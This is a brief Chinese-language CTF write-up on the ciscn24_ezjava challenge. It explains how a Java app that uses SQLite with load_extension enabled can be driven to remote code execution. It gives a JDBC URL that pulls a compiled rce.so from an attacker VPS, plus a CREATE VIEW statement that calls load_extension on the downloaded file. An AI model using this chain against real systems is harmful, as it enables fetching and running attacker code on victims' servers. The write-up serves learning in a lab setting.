sqlite攻击
前言
适用于load_extension打开的情况,比如:
虽然这种情况现实中比较少。
第一次遇到是在ciscn24_ezjava上
分析
首先你需要知道,sqlite是一个内存数据库,直接存储在本地,没有server,client一说。一个sqlite数据库就是一个文件,类似test.db。你可以随机新建一个db文件,然后创建sqlite时打开,这样之后产生的数据都会写在这个db文件上。sqlite无法跟mysql一样返回反序列化数据,只能通过加载so文件实现RCE
漏洞利用流程:
(前提:靶机能够执行select * from xxx,xxx可控)
1、在vps上创建rce.c,编译成rce.so。通过JDBC连接(jdbc:sqlite::resource:http://10.195.247.79:7776/rce.so),可以获取vps上的rce.so,并保存到/tmp/sqlite-jdbc-tmp-xxxx.db。其中xxxx的计算方式可知。
2、新建exp.db,用navicat创建一个sqlite连接。新建一个查询,执行CREATE VIEW security as SELECT (SELECT load_extension(‘/tmp/sqlite-jdbc-tmp–xxxx.db’)); 这样会新建一个视图
3、通过JDBC连接,可以获取vps上的exp.db,执行load_extension,加载之前的so文件,实现rce。即靶机最后执行select * from security
如果能写文件的话,那就直接写so文件,然后加载就行了。最终的目的反正都是加载so文件。